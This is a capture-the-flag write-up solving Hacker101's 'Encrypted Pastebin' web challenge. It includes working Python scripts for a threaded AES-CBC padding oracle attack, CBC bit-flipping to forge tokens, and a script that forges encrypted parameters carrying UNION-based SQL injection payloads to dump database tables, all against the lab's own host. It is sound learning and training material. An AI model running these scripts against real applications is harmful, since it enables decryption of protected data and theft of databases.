Try   HackMD

Encrypted Pastebin on Hacker101CTF

Before all

To my surprise, this is a three years lasting journey on solving this challenge

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

This is an interesting challenge combined several simple technique and is well worth solving!

Write Up

This is a web application which has a posting function just like Pastebin, after you sent a post, it would generate a unique key for that post, you can see the post only if you have the right key in the url.

Also, base on the paragraph in the home page, the key is probably generated with AES-128 CBC Mode.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

RECON

A url example is down below.
https://669099f2c694bc3cf1c1f5ae19016f77.ctf.hacker101.com/?post=KWJlR2cCCcGYhMBdPSotLiWdHcoNMiYSSTNoRL9zfRTLGTFdFdu9xBxiXc9SJFQ5NEGkB90mbkF-zvdqnoT4X2fQykzaXWCMY7CX3IwyYXRnAAICk4d98bTrUHXRVENpfQ5sANV9fGIDT-eWO4EUD4H2nSL5egynC6TAfEXoRzs92SQLeu7V1JLc06I5-WraCOH38VOdkr-jmQYRZ!cgTQ~~
First of all, I tried to change the key value and observe the response.

But after I simply added an 'a' to the front of the 'post' param, I got a response like this

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

First flag gotten!

How if I change the key into a single character 'a'?

https://a49c182743e0b433bba6232c5961b860.ctf.hacker101.com/?post=a

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

It shows that it is base64 encode but with some naughty changes on it.

Also, if I add some padding in the 'post' parameter, it would raise a PaddingException

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Maybe is time for a Padding Oracle Attack!

Padding Oracle

Wikipedia(link)

I put some threading magic on it to make it faster!
padding_oracle.py

from base64 import *
from pwn import *
from tqdm import trange
import requests as req
import threading

url='https://669099f2c694bc3cf1c1f5ae19016f77.ctf.hacker101.com/?post='

def custom_decode(x):
    x=x.replace(b'~', b'=').replace(b'!', b'/').replace(b'-', b'+')
    return b64decode(x)

def custom_encode(x):
    x=b64encode(x)
    return x.replace(b'=', b'~').replace(b'/', b'!').replace(b'+', b'-')

def oracle(x):
    web=req.get(url+custom_encode(x).decode())
    return 'File "./common.py"' not in  web.text

cur_param=b'KWJlR2cCCcGYhMBdPSotLiWdHcoNMiYSSTNoRL9zfRTLGTFdFdu9xBxiXc9SJFQ5NEGkB90mbkF-zvdqnoT4X2fQykzaXWCMY7CX3IwyYXRnAAICk4d98bTrUHXRVENpfQ5sANV9fGIDT-eWO4EUD4H2nSL5egynC6TAfEXoRzs92SQLeu7V1JLc06I5-WraCOH38VOdkr-jmQYRZ!cgTQ~~'

cur_param=custom_decode(cur_param)

ans=b''
cur=b''

def find_byte_range(iv, mess, cur, now, start, end, result):
    for k in range(start, end):
        if oracle(iv[:now] + bytes([k]) + xor(cur, iv[now+1:], chr(16-now).encode()*(15-now)) + mess):
            result.append(k)
            break

for i in trange(0, len(cur_param)-16, 16):
    iv, mess = cur_param[i:i+16], cur_param[i+16:i+32]
    for j in trange(16):
        now = 15 - j
        threads = []
        result = []
        step = 256 // 32
        for t in range(32):
            start = t * step
            end = (t + 1) * step if t != 31 else 256
            thread = threading.Thread(target=find_byte_range, args=(iv, mess, cur, now, start, end, result))
            threads.append(thread)
            thread.start()

        for thread in threads:
            thread.join()
        
        if result:
            k = result[0]
            if now == 15:
                if k != iv[15]:
                    cur = xor(k, iv[15], 1) + cur
            else:
                cur = xor(k, iv[now], (16-now)) + cur
#            print(cur)

    ans += cur
    print(ans)
    cur = b''

After I extracted the data, I got my second flag and known that is a json format data!
{"flag": "^FLAG^5dc0bd44bc917ef1ab7e76de1be3f8d213c7d324acd52409b92ab8ce1764623e$FLAG$", "id": "2", "key": "FJRyMS3Ib4aor0M9RPTfcQ~~"}

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Well, speeking honestly, I had a wrong idea that the CBC key is just the extracted key in the json data, but after I tried to decrypt the message directly through the IV value and that suspecious key, I known that I'm wrong QwQ

Bit flipping

I tried to modify the data into {"id":"1"}, and this can be done through a simple bit flipping attack.
Take a quick review on CBC MODE process:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

It's trivial that I can get the raw decrypted value for the first block (or any other block) of the oringinal ciphertext through an XOR operation with the IV value and the first block of the ciphertext.

So the flipping payload should be:
xor(initial_IV, b'{"flag": "^FLAG^', b'{"id":"1"}')+the_first_block_of_the_ciphertext

from base64 import *
from pwn import *

def custom_decode(x):
    x=x.replace(b'~', b'=').replace(b'!', b'/').replace(b'-', b'+')
    return b64decode(x)

def custom_encode(x):
    x=b64encode(x)
    return x.replace(b'=', b'~').replace(b'/', b'!').replace(b'+', b'-')

def pad(x):
    return x + bytes([16 - len(x) % 16] * (16 - len(x) % 16))


cur_param=b'KWJlR2cCCcGYhMBdPSotLiWdHcoNMiYSSTNoRL9zfRTLGTFdFdu9xBxiXc9SJFQ5NEGkB90mbkF-zvdqnoT4X2fQykzaXWCMY7CX3IwyYXRnAAICk4d98bTrUHXRVENpfQ5sANV9fGIDT-eWO4EUD4H2nSL5egynC6TAfEXoRzs92SQLeu7V1JLc06I5-WraCOH38VOdkr-jmQYRZ!cgTQ~~'

cur_param=custom_decode(cur_param)

payload=xor(cur_param[:16], b'{"flag": "^FLAG^', pad(b'{"id":"1"}'))+cur_param[16:32]

print(custom_encode(payload))

Flag 3:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

SQL Injection

How can I do if I want to generate a payload with a length larger than 16?

A quick reminder:
Before moving forward to this, how to get the raw decrypted value for a block of any ciphertext?
Padding Oracle Again
Since it's feasible to decrypt any block, downbelow is my solving process:
take the last block of ciphertext as a value which I already known it's raw decrypted value.
->
The further block should be the xored value of the raw content I want to put with that block of ciphertext
->
decrypt the value of the further block
And after repeating these steps, I can modify any messages I want to put and try some SQL Injection!

solve.py
The wanted variable is the SQL Injection(Union base) payload in json format.

from pwn import *
from base64 import *
import requests as req
from tqdm import trange
import threading

def custom_decode(x):
    x=x.replace(b'~', b'=').replace(b'!', b'/').replace(b'-', b'+')
    return b64decode(x)

def custom_encode(x):
    x=b64encode(x)
    return x.replace(b'=', b'~').replace(b'/', b'!').replace(b'+', b'-')

def pad(x):
    return x + bytes([16 - len(x) % 16] * (16 - len(x) % 16))

def oracle(x):
    web=req.get(url+custom_encode(x).decode())
    return 'Incorrect padding' not in web.text and 'PaddingException' not in web.text

def find_byte_range(x, suf, i, start, end, result):
    for j in range(start, end):
        cur_suf = b'\x01' * (16 - i) + bytes([j]) + xor(suf, bytes([i^(i-1)] * (i - 1)))
        if oracle(cur_suf + x):
            result.append(j)
            break

def brute_init(x):
    cur = b''
    suf = b''
    for i in trange(1, 17):
        threads = []
        result = []

        step = 256 // 64
        for t in range(64):
            start = t * step
            end = (t + 1) * step if t != 63 else 256
            thread = threading.Thread(target=find_byte_range, args=(x, suf, i, start, end, result))
            threads.append(thread)
            thread.start()

        for thread in threads:
            thread.join()

        if result:
            j = result[0]
            cur_suf = b'\x01' * (16 - i) + bytes([j]) + xor(suf, bytes([i^(i-1)] * (i - 1)))
            suf = cur_suf[16 - i:]
            cur = xor(suf[0], bytes([i]))+cur
#            print(cur)

    return cur

url = 'https://669099f2c694bc3cf1c1f5ae19016f77.ctf.hacker101.com/?post='
cur_param = b'KWJlR2cCCcGYhMBdPSotLiWdHcoNMiYSSTNoRL9zfRTLGTFdFdu9xBxiXc9SJFQ5NEGkB90mbkF-zvdqnoT4X2fQykzaXWCMY7CX3IwyYXRnAAICk4d98bTrUHXRVENpfQ5sANV9fGIDT-eWO4EUD4H2nSL5egynC6TAfEXoRzs92SQLeu7V1JLc06I5-WraCOH38VOdkr-jmQYRZ!cgTQ~~'
cur_param = custom_decode(cur_param)

# known value
last=cur_param[16:32]
known=xor(cur_param[:16], b'{"flag": "^FLAG^')

# Brute Forcing init dec value
#print(brute_init(b'`\x8c\xa9\xb0\xe0cp\xff\x05\xf9>\xe6Q\xfa\xc1\xbf'))
# len(b'{"id": "7 UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #"}')
'''
wanted=b'{"id": "7 UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database() #"}'
'''

# wanted=b'{"id":"1", "meow":"meow"}'
# wanted=b'{"id":"7 UNION SELECT group_concat(database()), 1"}'
# wanted=b'{"id": "7 UNION SELECT group_concat(table_name), 1 FROM information_schema.tables WHERE table_schema=database()"}'
# wanted=b'{"id":"7 UNION SELECT group_concat(column_name), 1 FROM information_schema.columns WHERE table_name=\'tracking\'"}'
wanted=b'{"id":"7 UNION SELECT group_concat(headers), 1 FROM tracking"}'
wanted=pad(wanted)
print(len(wanted), wanted)

payload=last

for i in range(len(wanted), 16, -16):
    payload=xor(known[:16], wanted[i-16:i])+payload
    known=brute_init(payload[:16])+known

payload=xor(known[:16], wanted[:16])+payload
print(custom_encode(payload))

Gaining database names
{"id":"7 UNION SELECT group_concat(database()), 1"}

image
Gaining table names
{"id": "7 UNION SELECT group_concat(table_name), 1 FROM information_schema.tables WHERE table_schema=database()"}
image

Gaining column names for table tracking
{"id":"7 UNION SELECT group_concat(column_name), 1 FROM information_schema.columns WHERE table_name='tracking'"}
image

Extract Header datas from table tracking
{"id":"7 UNION SELECT group_concat(headers), 1 FROM tracking"}
image

And finally, go to the dumped url from table 'tracking' and get the last flag!